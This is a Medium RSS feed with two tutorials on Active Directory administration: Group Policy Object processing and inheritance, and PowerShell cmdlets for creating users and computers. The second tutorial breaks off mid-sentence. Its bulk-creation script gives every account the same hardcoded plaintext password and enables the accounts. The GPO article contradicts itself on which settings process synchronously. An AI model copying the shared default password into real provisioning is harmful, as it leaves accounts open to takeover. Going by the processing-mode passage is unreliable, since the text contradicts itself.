<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Vishal Raj on Medium]]></title>
        <description><![CDATA[Stories by Vishal Raj on Medium]]></description>
        <link>https://medium.com/@vishalraj.007?source=rss-edb4f8df156a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*XZAw9gMOAq64bV_Brj5AMg.jpeg</url>
            <title>Stories by Vishal Raj on Medium</title>
            <link>https://medium.com/@vishalraj.007?source=rss-edb4f8df156a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 05 Dec 2026 20:30:09 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@vishalraj.007/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Active Directory Secrets: Mastering Group Policy Objects (GPO) - Part 1]]></title>
            <link>https://systemweakness.com/active-directory-secrets-mastering-group-policy-objects-gpo-part-1-986b268ac2f4?source=rss-edb4f8df156a------2</link>
            <guid isPermaLink="false">https://medium.com/p/986b268ac2f4</guid>
            <category><![CDATA[microsoft]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Vishal Raj]]></dc:creator>
            <pubDate>Sat, 29 Jun 2024 14:25:14 GMT</pubDate>
            <atom:updated>2024-07-03T10:25:48.452Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*Wg6RD1DeSyzTQ3KscHuRYw.jpeg" /></figure><h3>Introduction</h3><p>In the realm of IT infrastructure, managing and maintaining a secure, efficient, and compliant network environment is paramount. One of the most powerful tools at the disposal of IT administrators is the Group Policy Object (GPO), a fundamental feature within Microsoft’s Active Directory (AD). GPOs provide a centralized way to manage and configure operating systems, applications, and users’ settings in an Active Directory environment. This introduction will delve into what GPOs are, their importance, and the foundational concepts necessary to grasp their utility and impact.</p><p>It is impossible to describe the benefits of Active Directory (AD) without mentioning group policies. Group policies are one of the main reasons why Active Directory is so important in infrastructure management. Group Policy Objects (GPOs) are a collection of settings that control the working environment of user accounts and computer accounts within Active Directory. GPOs allow administrators to define security settings, deploy software, manage operating system behaviors, and configure many aspects of the user experience across a network of computers. These settings are stored in AD and applied to targeted users and computers based on their membership in AD organizational units (OUs).</p><h4>Benefits of group policies</h4><ul><li><strong>Maintaining Standards</strong>: GPOs assist in maintaining compliance with industry standards, such as ISO/IEC 27001 for information security management. By enforcing standardized configurations and policies, GPOs help ensure that systems adhere to regulatory and best practice requirements.</li><li><strong>Centralized Management</strong>: GPOs provide a centralized way to manage and configure the operating systems, applications, and user settings across an entire network, reducing the administrative burden.</li><li><strong>Automate Administrative Tasks</strong>: GPOs automate routine administrative tasks, such as software installation, updates, and configuration changes, freeing up IT staff to focus on more strategic initiatives.</li><li><strong>Security</strong>: GPOs help enforce security policies, such as password policies, account lockout policies, and user rights assignment, enhancing the overall security posture of the organization.</li><li><strong>Efficiency</strong>: Automated deployment of settings and software reduces the time and effort needed for manual configuration and ensures that all machines are compliant with the organization’s policies.</li><li><strong>Scalability</strong>: GPOs are highly scalable and can be applied to large networks with thousands of users and computers, making them suitable for organizations of all sizes.</li></ul><h4>Capabilities of Group Policy</h4><ul><li><strong>Software Deployment</strong>: GPOs can be used to install, update, or remove software applications on target computers automatically.</li><li><strong>Security Settings</strong>: Administrators can enforce security settings, such as firewall rules, account policies, and encryption settings, across all computers.</li><li><strong>Scripts</strong>: GPOs support the deployment of startup, shutdown, logon, and logoff scripts, allowing administrators to automate tasks and processes.</li><li><strong>WMI Filters</strong>: Windows Management Instrumentation (WMI) filters allow administrators to create queries based on various criteria, such as the operating system version, hardware configuration, or other attributes, to apply GPOs selectively to computers or users that meet the specified criteria.</li><li><strong>Folder Redirection</strong>: This capability allows administrators to redirect certain folders (like Documents, Desktop, etc.) to network locations, ensuring that user data is stored on secure servers.</li><li><strong>Administrative Templates</strong>: These are registry-based policy settings that control the behavior of the operating system and user environment, covering a wide range of settings from user interface to system components.</li><li><strong>Preference Settings</strong>: GPOs also include preferences, which provide a more flexible way to configure settings compared to policies. Preferences can be used for tasks such as mapping drives, configuring printers, and setting environment variables.</li></ul><h4>Group Policy Objects:</h4><p>When new Active Directory objects are added, the system saves the object data inside the Active Directory database. However, the way GPO is stored is different from the typical Active Directory object. GPO contents are stored in two locations (the Active Directory database and the SYSVOL folder) in the Active Directory environment.</p><ol><li><strong>Group Policy Container (GPC):</strong></li></ol><p>The Group Policy Container is an Active Directory object that stores the metadata and version information of the GPO. This includes information such as the GPO’s unique identifier (GUID), version number, and status (enabled or disabled). The GPC is stored in the Active Directory database and is replicated across all domain controllers within the domain.</p><pre>Get-GPO &quot;Desktop Wallpaper&quot;</pre><p>The preceding PowerShell command will list the default properties of the Desktop Wallpaper GPO:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*tzNOViogepBAUf9VlICWxw.png" /><figcaption>Fig:1.0 GUID Value of GPO</figcaption></figure><ul><li><strong>Location in Active Directory</strong>: The GPC is located in the “System” container within the domain. The path to a specific GPC is:</li></ul><pre>CN=&lt;GPO_GUID&gt;,CN=Policies,CN=System,DC=&lt;domain&gt;,DC=com</pre><p>For example, for a GPO with the GUID {f85c9545-5859-415d-9739-a727e62622f3 in the fsociety.org domain, the path would be:</p><pre>CN={CN={6AC1786C-016F-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=fsociety,DC=org}</pre><p><strong>2. Group Policy Template (GPT):</strong></p><p>The Group Policy Template contains the actual settings and policies defined within the GPO. It includes files and folders that store policy settings, administrative templates, scripts, and other data. The GPT is stored in the Sysvol folder on domain controllers and is replicated across all domain controllers in the domain using the File Replication Service (FRS) or Distributed File System Replication (DFSR).</p><p>The default path for the Group Policy template (GPT) data is \\fsociety.org\SYSVOL\fsociety.org\policies. Here, fsociety.org can be replaced with your domain’s fully qualified domain name (FQDN). Inside the policy folder, there are two subfolders called Machine and User. These folders contain files and settings related to the GPO’s computer configuration and user configuration. There is another file called GTP.INI, which contains the version number of the group policy. In every Group Policy edition, the version number will increase automatically and it will be used as a reference to sync the Group Policy changes from one domain controller to another.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/1*C6WMiZekDCnmSaRCU8OMFQ.png" /><figcaption>Fig:1.1 GPT.INI file</figcaption></figure><p>Inside the Machine and User folders, several subfolders contain data according to the GPO configurations. For instance, the Applications folder holds software installation files if the GPO is configured to publish applications. Similarly, the Scripts folder stores any startup or shutdown scripts deployed via the GPO.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*rbx1LJIt3Yk-mV2EfWB4_Q.png" /><figcaption>Fig:1.3 GPO Directory Structure</figcaption></figure><h4><strong>Group Policy Processing</strong></h4><p>Group Policy processing is the mechanism by which Group Policy settings are applied to users and computers in an Active Directory domain. Understanding how Group Policy processing works is essential for administrators to effectively manage and troubleshoot policy settings across their network.</p><p><strong>Types of Group Policies:</strong></p><p>In an Active Directory environment, there are two main types of policies:</p><p><strong>1. Local Policies</strong></p><p>Local Policies are specific to individual computers and do not require Active Directory. These policies are configured and stored locally on each computer and are applied only to that particular machine. Local Policies are useful in scenarios where a centralized management system (like Active Directory) is not available or for managing standalone computers.</p><ul><li><strong>Configuration</strong>: Local Policies can be configured using the Local Group Policy Editor (gpedit.msc) on the individual computer.</li><li><strong>Scope</strong>: These policies affect only the local computer and the users who log onto that machine.</li><li><strong>Common Uses</strong>: Local Policies are typically used for basic security settings, user rights assignments, and audit policies on standalone computers or in small networks without a domain controller.</li></ul><p><strong>2. Non-local Policies</strong></p><p>Non-local Policies, also known as Active Directory-based Group Policies, are centrally managed and deployed through the Active Directory infrastructure. These policies are stored in GPOs and can be applied to multiple users and computers within a domain, site, or organizational unit (OU). Non-local Policies provide a powerful and scalable way to manage large networks.</p><ul><li><strong>Configuration</strong>: Non-local Policies are configured using the Group Policy Management Console (GPMC) and are linked to sites, domains, or OUs within Active Directory.</li><li><strong>Scope</strong>: These policies can be applied to multiple computers and users across the entire domain or specific organizational units, providing a consistent and uniform configuration across the network.</li><li><strong>Common Uses</strong>: Non-local Policies are used for a wide range of administrative tasks, including software deployment, security policy enforcement, desktop environment configuration, and script execution. They are essential for maintaining security, compliance, and standardization in large network environments.</li></ul><p><strong>Levels of Group Policy Application</strong></p><p>Group Policy can be applied at three different levels in an Active Directory environment: Site, Domain, and Organizational Units (OUs). Each level offers a different scope of influence, allowing administrators to target policy settings with varying degrees of specificity.</p><p><strong>1. Site</strong></p><p>A site represents a physical or logical grouping of domain controllers and other computers that are typically located in the same geographical area or connected by high-speed networks. Applying Group Policy at the site level allows administrators to manage policies for all users and computers within that site.</p><ul><li><strong>Scope</strong>: Policies applied at the site level affect all users and computers within the defined site. This can be useful for applying settings that should be consistent across a particular physical location or network segment.</li><li><strong>Use Cases</strong>: Site-level policies are often used for configurations related to network settings, such as DNS, DHCP, or proxy settings, and for managing resource access based on physical location.</li></ul><p><strong>2. Domain</strong></p><p>The domain level is one of the most common levels for applying Group Policy. A domain encompasses all the users, computers, and other resources that share a common directory database.</p><ul><li><strong>Scope</strong>: Policies applied at the domain level affect all users and computers within the entire domain. This level is ideal for applying broad policies that should be consistent across the entire organization.</li><li><strong>Use Cases</strong>: Domain-level policies are commonly used for global security settings, password policies, account lockout policies, and organization-wide software deployments.</li></ul><p><strong>3. Organizational Units (OUs)</strong></p><p>Organizational Units are containers within a domain that allow administrators to group users, computers, and other objects logically. OUs provide a way to apply more granular Group Policy settings to specific subsets of users and computers.</p><ul><li><strong>Scope</strong>: Policies applied to OUs affect only the users and computers contained within those OUs. This allows for targeted policy application, making it possible to tailor settings for different departments, teams, or roles within the organization.</li><li><strong>Use Cases</strong>: OU-level policies are useful for applying department-specific configurations, user rights assignments, software installations for specific teams, and other settings that need to be customized based on organizational structure.</li></ul><p><strong>Hierarchy and Precedence</strong></p><p>When multiple Group Policies are applied at different levels, they follow a specific order of precedence:</p><ol><li><strong>Local Group Policy</strong>: Applied first and only affects the local computer.</li><li><strong>Site-level GPOs</strong>: Applied next, affecting all users and computers within the site.</li><li><strong>Domain-level GPOs</strong>: Applied after site-level GPOs, affecting all users and computers within the domain.</li><li><strong>OU-level GPOs</strong>: Applied last, with child OUs inheriting policies from parent OUs unless inheritance is blocked.</li></ol><p>In general, this order is called <strong>LSDOU</strong>. In case of conflicting settings, the GPO applied at the lowest level (closest to the object) takes precedence. For example, an OU-level GPO will override a domain-level GPO if both contain conflicting settings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g9NGHyoOZS-H0veYvWl8cg.png" /><figcaption>Fig:2.0 GPO Policy Processing order</figcaption></figure><p>To successfully apply computer Group Policy settings, the device must maintain valid communication with a domain controller. Similarly, for user Group Policy settings to be applied, a domain account user must log in to a domain-joined computer that can communicate with a domain controller.</p><p>Group policies are processed in two different modes. By default, a Group Policy’s computer settings start processing during OS startup. Once the user enters their username and credentials, the Group Policy’s user settings begin processing. This initial processing mode is called <strong>foreground processing</strong>. Some policies may complete during this time, but others may not. These incomplete policies will continue processing in the <strong>background</strong> after login and network connections are initialized. Additionally, once the user is logged in, Group Policies will run in the background every 90 minutes by default. This is known as the second mode of Group Policy processing.</p><p>Foreground processing is further divided into two sub-modes. Before Windows XP, all policy settings in foreground mode processed before the user saw the desktop. This is known as<strong> synchronous mode</strong>. With Windows XP and later versions, the default processing mode became<strong> asynchronous</strong>, meaning the OS does not wait for Group Policy processing to complete before continuing.</p><p>There are four policy settings defined by Microsoft that always process in asynchronous mode: folder redirection, software installation, disk quota, and drive mapping. If any of these settings are enabled, they will be processed in synchronous mode. Additionally, all startup scripts run in the foreground in synchronous mode.</p><p>While the default processing behavior provides faster login times for users, some policy settings might take up to two login cycles to fully apply changes. This behavior can impact security settings. For example, if a policy is set to block access to control panel settings and it does not process in synchronous mode, the user may still access the control panel upon login, defeating the policy’s purpose. The default mode is useful for users connected through a slow link, as synchronous processing can significantly delay login times. However, if there is no specific need for asynchronous mode, it is generally recommended to use synchronous mode. This can be enforced through Group Policy settings found at:</p><pre>Computer Configuration\Administrative Templates\System\Logon\Always wait for the network at computer startup and logon.</pre><p>As mentioned earlier, certain Group Policy settings always run in synchronous mode. Even on slow links, these settings will process synchronously. Therefore, it is recommended to enable the following two Group Policy settings to force asynchronous mode during logins over slow links and Remote Desktop Services. Asynchronous mode for slow links can be enabled via:</p><pre>Computer Configuration\Administrative Templates\System\Group Policy\Change Group Policy Processing to run asynchronously when a slow link is detected.</pre><p>Asynchronous mode for Remote Desktop Services can be enabled via:</p><pre>Computer Configuration\Administrative Templates\System\Group Policy\Allow asynchronous user Group Policy processing when logging on through Remote Desktop Services.</pre><p>Group Policy processing directly affects Group Policy inheritance. Depending on specific Group Policy requirements, it might be necessary to disable inheritance. Let’s explore Group Policy inheritance in more detail in the next section.</p><h4><strong>Group Policy Inheritance</strong></h4><p>Group Policy inheritance is a fundamental concept in Active Directory that determines how policies are applied to users and computers within a hierarchical structure. Understanding how inheritance works is crucial for administrators to manage and troubleshoot Group Policy effectively.</p><p><strong>1. Hierarchical Structure of Group Policy</strong></p><p>In an Active Directory environment, Group Policy Objects (GPOs) can be linked to different levels of the directory structure: sites, domains, and organizational units (OUs). The hierarchical nature of Active Directory means that GPOs applied at higher levels (e.g., sites) can be inherited by lower levels (e.g., OUs).</p><p><strong>Order of Inheritance</strong></p><p>GPOs are processed in the following order:</p><ol><li><strong>Local GPO</strong>: The settings configured on the local computer.</li><li><strong>Site-level GPOs</strong>: Policies linked to the site where the computer or user resides.</li><li><strong>Domain-level GPOs</strong>: Policies linked to the domain.</li><li><strong>OU-level GPOs</strong>: Policies linked to the OU, with parent OUs processed before child OUs.</li></ol><p>To view the inheritance data, first, click on the OU and then click on the Group Policy Inheritance tab:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*W_KW-HOG9QTbYpGPmfX0dQ.png" /><figcaption>Fig:2.1 GP Precedence</figcaption></figure><p>The Group Policy inheritance details can also be viewed by using the Get-GPInheritance PowerShell cmdlet. As an example, the same information listed in the preceding screenshot can be viewed using the following command:</p><pre>Get-GPInheritance -Target &quot;OU=Users,OU=India,DC=fsociety,DC=org&quot;</pre><p>In this example, I have two domain-linked group policies called Domain 1 and Domain 2. I also have an OU-linked Group Policy called <strong>User Policies</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*241H-FG27BQ7Y2sD3Zixaw.png" /><figcaption>Fig:2.2 Group Policy Inheritance</figcaption></figure><p>In the list, the first precedence goes to the <strong>User Policies Group Policy, </strong>which is the OU-linked Group Policy. Then, precedence order 2 goes to the Group Policy linked to the parent OU. Precedence orders <strong>3</strong>, <strong>4</strong>, and <strong>5 </strong>go to the domain-linked group policies.</p><p>While inheritance is a powerful feature, it is not always useful in every scenario. There can be situations where an OU requires very specific settings that should not be affected by any inherited policies. When the number of Group Policies increases, the processing time also increases. If your requirements can be met with a single Group Policy linked directly to the OU, why should you allow other inherited policies that don’t contribute to your needs?</p><p>In such cases, you can block Group Policy inheritance at the OU level. This prevents higher-level policies from applying to that specific OU. Blocking inheritance can be accomplished using the Group Policy Management Console (GPMC) or the Set-GPinheritance PowerShell cmdlet.</p><pre>Set-GPInheritance -Target &quot;OU=Users,OU=India,DC=fsociety,DC=org&quot; -IsBlocked Yes</pre><p>The preceding command will block the Group Policy inheritance in OU=Users,OU=India,DC=fosciety,DC=org:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*9X94ruVKekU1-5hhZCuW3g.png" /><figcaption>Fig:2.3 Group Policy Inheritance Block</figcaption></figure><p>After the Group Policy inheritance block, the only policy in the inheritance list is the policy that is linked to the OU. Also, when we block inheritance, we can see a blue exclamation mark on the OU. That’s the easiest way to identify whether group policy inheritance is blocked for an OU.</p><h4>Group Policy conflicts:</h4><p>Group Policy conflicts occur when two or more GPOs apply different settings to the same policy area. For example, one GPO might enable a specific setting while another GPO disables it. When such conflicts occur, the order of precedence determines which setting takes effect.</p><p>The precedence order of group policies in <strong>LSDOU </strong>and Group Policy inheritance also decide which policy will win when we have some conflicting settings. Let’s look at this further with the help of an example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5vAkh0jO0UQXSNaBYwV8rA.png" /><figcaption>Fig:3.0 Group Policy Conflict example</figcaption></figure><p>Consider an example where the <strong>Users </strong>OU inherits two policies:<strong> Policy 01</strong>, which is linked to the domain, and <strong>Policy 02</strong>, which is linked directly to the OU. Each policy has specific values defined for three selected settings. Based on the default Group Policy inheritance rules, both policies will apply to the Users OU. According to the <strong>LSDOU </strong>(Local, Site, Domain, Organizational Unit) order, <strong>Policy 02 </strong>will take precedence as it is the closest policy to the <strong>Users </strong>OU.</p><p>For the <strong>Password Policy Settings</strong>, only Policy 01 has a defined value. Therefore, despite being less preferred in the hierarchy, Policy 01’s value will apply to the Users OU. For the <strong>Desktop Wallpaper Settings</strong>, only Policy 02 has a defined value, so this policy will apply to the Users OU.</p><p>When it comes to <strong>Prohibit access to Control Panel Settings</strong>, both policies have values defined, creating a conflict. According to the LSDOU order, <strong>Policy 02</strong>, being closer to the Users OU, will have its value applied.</p><p>Microsoft allows you to change this default policy-winning procedure by <em>enforcing </em>policies.The Enforced (formerly known as No Override) feature ensures that a GPO linked to a higher level cannot be blocked by lower levels. When a GPO is marked as Enforced, its settings apply regardless of Block Inheritance settings on lower-level OUs. This is useful for applying critical security policies or compliance settings that must be enforced across the entire organization.</p><p>To enforce a policy, load Group Policy Management Console (GPMC), right-click on the selected Group Policy, and then select the Enforced option. This will enforce the policy and change the policy icon with a small padlock mark. This allows you to identify enforced policies quickly from the policy list:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1AUyK5j3X1W5HDG_SEUgEA.png" /><figcaption>Fig:3.1 Enforced Group Policy</figcaption></figure><p>In the preceding example, Policy 01 and Policy 02 both have values for <strong>Prohibit access to Control Panel</strong> Settings, but the enforced Policy 01 is on top of the policy list and the winning policy setting will be from it.</p><p>The order of policies in the same level can be changed by using two methods. One method is to <strong>enforce </strong>the policy. When the policy is enforced, it will take priority over the other policies at the same level, but it will not change the link order of the policy. The order of the list can be changed using the up and down buttons in the <strong>Linked Group Policy Objects</strong> tab. The link order will match the precedence order of the group policies:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OyVpBUxlfSheiy_ueK_xdg.png" /><figcaption>Fig:3.2 Group Policy Link Order</figcaption></figure><h4><strong>Summary</strong></h4><p>In this first part of our exploration of Active Directory Group Policy Objects (GPOs), we covered the foundational aspects of GPOs, including their benefits, capabilities, and how they are stored and processed. We discussed the hierarchical structure of Group Policy application across sites, domains, and organizational units (OUs), and delved into the intricacies of Group Policy inheritance and conflicts. Key takeaways include:</p><ul><li><strong>Benefits of GPOs</strong>: Simplified administration, enhanced security, and the ability to automate tasks and maintain standards, including compliance with ISO standards.</li><li><strong>Capabilities of GPOs</strong>: From software installation and security settings to startup/shutdown scripts and WMI filters, GPOs offer extensive management options.</li><li><strong>Group Policy Processing</strong>: Understanding foreground and background processing, synchronous and asynchronous modes, and their impact on policy application.</li><li><strong>Group Policy Inheritance</strong>: The order of precedence and tools to manage inheritance, such as Block Inheritance and Enforced settings.</li><li><strong>Group Policy Conflicts</strong>: Strategies for identifying, managing, and resolving conflicts to ensure consistent policy application.</li></ul><p>In the next article, Part 2 of managing GPOs, we will delve deeper into advanced topics including:</p><ul><li><strong>Group Policy Mapping and Status</strong>: Techniques for tracking and monitoring the application of Group Policies.</li><li><strong>Administrative Templates</strong>: Utilizing administrative templates to configure user and computer settings.</li><li><strong>Group Policy Filtering</strong>: Applying security and WMI filters to target specific users or computers.</li><li><strong>Group Policy Preferences</strong>: Configuring settings that users can change.</li><li><strong>Loopback Processing</strong>: Applying user policies based on the computer the user logs into.</li><li><strong>Group Policy Best Practices</strong>: Essential tips and guidelines for effective Group Policy management.</li></ul><p>Stay tuned for Part 2, where we will enhance our understanding and management of Group Policies to optimize your Active Directory environment</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=986b268ac2f4" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/active-directory-secrets-mastering-group-policy-objects-gpo-part-1-986b268ac2f4">Active Directory Secrets: Mastering Group Policy Objects (GPO) - Part 1</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Active Directory Secrets: Managing Active Directory Objects using PowerShell]]></title>
            <link>https://systemweakness.com/active-directory-secrets-managing-active-directory-objects-using-powershell-d7cd9b77f75d?source=rss-edb4f8df156a------2</link>
            <guid isPermaLink="false">https://medium.com/p/d7cd9b77f75d</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[powershell]]></category>
            <category><![CDATA[microsoft]]></category>
            <dc:creator><![CDATA[Vishal Raj]]></dc:creator>
            <pubDate>Sat, 22 Jun 2024 06:09:09 GMT</pubDate>
            <atom:updated>2024-06-26T10:58:53.964Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_DSbDvdH_jCFA82EjQjClA.jpeg" /></figure><h3>Introduction to Active Directory</h3><p>In today’s dynamic IT environments, effective management of users, groups, and devices is crucial for maintaining security, productivity, and efficiency. Active Directory (AD), a directory service developed by Microsoft, has been a cornerstone for IT administrators worldwide, providing a comprehensive framework to manage network resources. Whether you’re overseeing a small business network or a large enterprise infrastructure, understanding the intricacies of Active Directory is essential.</p><p>Active Directory is not just a tool; it’s a powerful suite of services that enables centralized management and configuration of operating systems, applications, and more. It facilitates seamless integration and management of users, computers, and other devices, ensuring that the right people have access to the right resources at the right time.</p><p>In this article, “<strong>Active Directory Secrets: Managing Active Directory Objects using PowerShell</strong>” we will delve into the various facets of AD, uncovering best practices, tips, and tricks for efficient administration. From creating ,managing and removing user accounts to handling computers and devices, we’ll explore the roles and permissions that form the backbone of a secure and well-organized network.</p><p>By the end of this guide, you’ll gain a deeper understanding of how to leverage Active Directory to streamline your IT operations, enhance security, and improve overall organizational efficiency. Whether you’re a seasoned IT professional or just starting out, this article aims to provide valuable insights and practical knowledge to help you navigate the complexities of Active Directory with confidence.</p><h3>Managing AD objects</h3><p>Creating, modifying, and deleting objects are among the most frequent management tasks in an Active Directory (AD) environment. Various tools and methods are available to carry out these tasks, each with its own advantages and disadvantages. It’s important to use a combination of tools, as no single tool is ideal for all administrative tasks. By leveraging the strengths of different tools, you can effectively manage your AD environment with greater flexibility and efficiency.</p><h4>Active Directory Users</h4><p>Active Directory users are the backbone of any network environment, serving as the primary means of accessing resources, applications, and services. Each user account in Active Directory represents an individual or a service that needs access to network resources. These accounts contain essential information such as usernames, passwords, contact details, and group memberships, which help define the user’s identity and access permissions within the network.</p><p>Managing user accounts efficiently is critical to maintaining security and productivity. Properly configured user accounts ensure that individuals have the right level of access to perform their duties without compromising sensitive information. In Active Directory, users can be managed individually or in bulk, depending on the needs of the organization.</p><p>Creating user accounts manually can be a time-consuming and error-prone process, especially in large organizations. This is where user templates come into play. User templates in Active Directory are predefined sets of user attributes and settings that can be used to create new user accounts quickly and consistently.</p><p>User templates are particularly useful in scenarios where multiple users need similar configurations. By using a template, administrators can ensure that new accounts are created with uniform settings, reducing the risk of misconfiguration and enhancing the efficiency of the account creation process.</p><h4>Considerations When Creating User Templates</h4><p>When setting up user templates, it’s important to keep a few key points in mind to ensure they are effective and secure:</p><p><strong>Avoid Using Existing User Accounts as Templates</strong>: It’s common for engineers to select an existing user account within the same Organizational Unit (OU) and use it as a template for creating new accounts. This practice can lead to inconsistencies and potential security risks, as existing accounts may have unique privileges or attribute values that are not appropriate for other users. Always create dedicated, standalone templates to serve as the baseline for new user accounts.</p><p><strong>Disable Template Accounts</strong>: Template accounts should never be used for authentication purposes. Ensure that template accounts are set to a disabled state. This prevents unauthorized use and ensures that they serve solely as a reference for creating new accounts. During the new user creation process, the account status can be appropriately activated as needed.</p><p>To demonstrate, I am going to create a user template for Sales Department users. The command I will use is as follows:</p><pre>New-ADUser -Name &quot;_SalesSupport_Template&quot; -GivenName &quot;_SalesSupport&quot; -Surname &quot;_Template&quot; -SamAccountName &quot;salestemplate&quot; -UserPrincipalName &quot;salestemplate@fsociety.org&quot; -Path &quot;OU=fsociety,DC=fsociety,DC=org&quot; -AccountPassword(Read-Host -AsSecureString &quot;Type Password for User&quot;) -Enabled $false</pre><p>The preceding command creates a user account called _SalesSupport_Template. It also sets the new user account as a disabled account.</p><p>Now, I’m going to add the account to the Sales Department security group.</p><pre>Add-ADGroupMember &quot;Sales Department&quot; &quot;salestemplate&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GGI1CIZiLHkyjwTbAMf2zg.png" /><figcaption>Fig:1.0 User Account Template Creation</figcaption></figure><p>Now, when we go to <strong>Active Directory Users and Computers MMC</strong>, we can see the new template. In order to create a new account from it, right-click and click Copy…</p><h4>Creating AD Users:</h4><p>To create a users account we need to use New-ADUser PowerShell cmdlet. We can view the full syntax of the command using the following command:</p><pre>Get-Command New-ADUser -Syntax </pre><p>In order to create a new user account the minimum value we need to pass is -Name. It will create a disabled user account, and we can define values of the other attributes later.</p><pre>New-ADUser -Name &quot;Vishal Raj&quot; -GivenName &quot;Vishal&quot; -Surname &quot;Raj&quot; -SamAccountName &quot;vraj&quot; -UserPrincipalName &quot;vraj@fsociety.oeg&quot; -Path &quot;OU=Dark,DC=fsociety,DC=org&quot; -AccountPassword(Read-Host -AsSecureString &quot;Type Password for User&quot;) -Enabled $true</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_WZZY-xuUk2yXP90kzRLgw.png" /><figcaption>Fig: 1.1 Creating User Account</figcaption></figure><p>This command has the following parameters:</p><ul><li>-Name: This parameter defines the full name.</li><li>-GivenName: This parameter defines the first name.</li><li>-Surname: This parameter defines the surname.</li><li>-SamAccountName: This parameter defines the username.</li><li>-UserPrincipalName: This parameter defines the User Principal Name (UPN) for the user accoun</li><li>-Path: This defines the OU path. The default location is CN=Users,DC=fsociety,DC=org. If you do not define the -Path value, it will create the object under the default container.</li><li>-AccountPassword: This will allow the user to input a password for the user, and the system will convert it into the relevant data type.</li><li>-Enabled: This defines whether the user account status is enabled or disabled.</li></ul><p>Instead of executing multiple commands to create multiple user objects, we can create a Comma-Separated Values (CSV) file that includes data for attributes and use it to create multiple accounts in one go.</p><p>For demonstration purposes, I am using the following CSV file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/918/1*0-lnUq-jtErKGuM7WyWPJA.png" /><figcaption>Fig: 1.2 CSV file with User attribute values</figcaption></figure><p>I have used data for some of the attributes via the CSV file, and some common values will be passed through the following script:</p><pre># Import the Active Directory module<br>Import-Module ActiveDirectory<br><br># Path to the CSV file<br>$csvFilePath = &quot;C:\Users\Administrator\Downloads\users.csv&quot;<br><br># Import the CSV file<br>$users = Import-Csv -Path $csvFilePath<br><br><br># Loop through each user in the CSV file and create the AD user account<br>foreach ($user in $users) {<br>    try {<br>        # Create the new user<br>        New-ADUser -Name $user.Name `<br>                   -GivenName $user.GivenName `<br>                   -Surname $user.Surname `<br>                   -SamAccountName $user.SamAccountName `<br>                   -UserPrincipalName $user.UserPrincipalName `<br>                   -Path $user.Path`<br>                   -AccountPassword (ConvertTo-SecureString &quot;P@ssw0rd&quot; -AsPlainText -Force) `<br>                   -Enabled $true<br><br>        # Set the password and enable the account<br>        Set-ADAccountPassword -Identity $user.SamAccountName -NewPassword (ConvertTo-SecureString &quot;P@ssw0rd&quot; -AsPlainText -Force)<br>        Enable-ADAccount -Identity $user.SamAccountName<br><br>        Write-Output &quot;Created user: $($user.Name)&quot;<br>    } catch {<br>        Write-Output &quot;Failed to create user: $($user.Name)&quot;<br>        Write-Output &quot;Error: $_&quot;<br>    }<br>}<br><br>Write-Output &quot;User account creation process completed.&quot;</pre><p>In the script, the Impoer-Csv cmdlet is used to import the CSV file. And I also define a common password for all the accounts using =AccountPassword (ConvertTo-SecureString &quot;Passw0rd&quot; -AsPlainText -force)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bRVnaWkn_2BA7TzyQ2eYKA.png" /><figcaption>Fig: 1.3 Executing user creation script</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/917/1*SxYZjr56Y6I5fYdCwGcvng.png" /><figcaption>Fig: 1.4 User Accounts in User OU’s</figcaption></figure><h4>Creating Computer objects:</h4><p>When a desktop computer or member server is joined to a domain, it will create a computer object in AD.</p><p>This computer object can be created before being added to the domain. This will not add the device to the domain, but it can be used with offline domain joins and RODC domain joins.</p><p>In order to create a computer object, we can use the New-ADComputer cmdlet. To view the complete syntax of the command, use this:</p><pre>Get-Command New-ADComputer -Syntax</pre><p>The attribute you need to create a computer object is -Name:</p><pre>New-ADComputer -Name &quot;Client-01&quot; -SamAccountName &quot;Fscoiety-PC-01&quot; -Path &quot;OU=Computers,DC=fsociety,DC=org&quot;</pre><p>In the 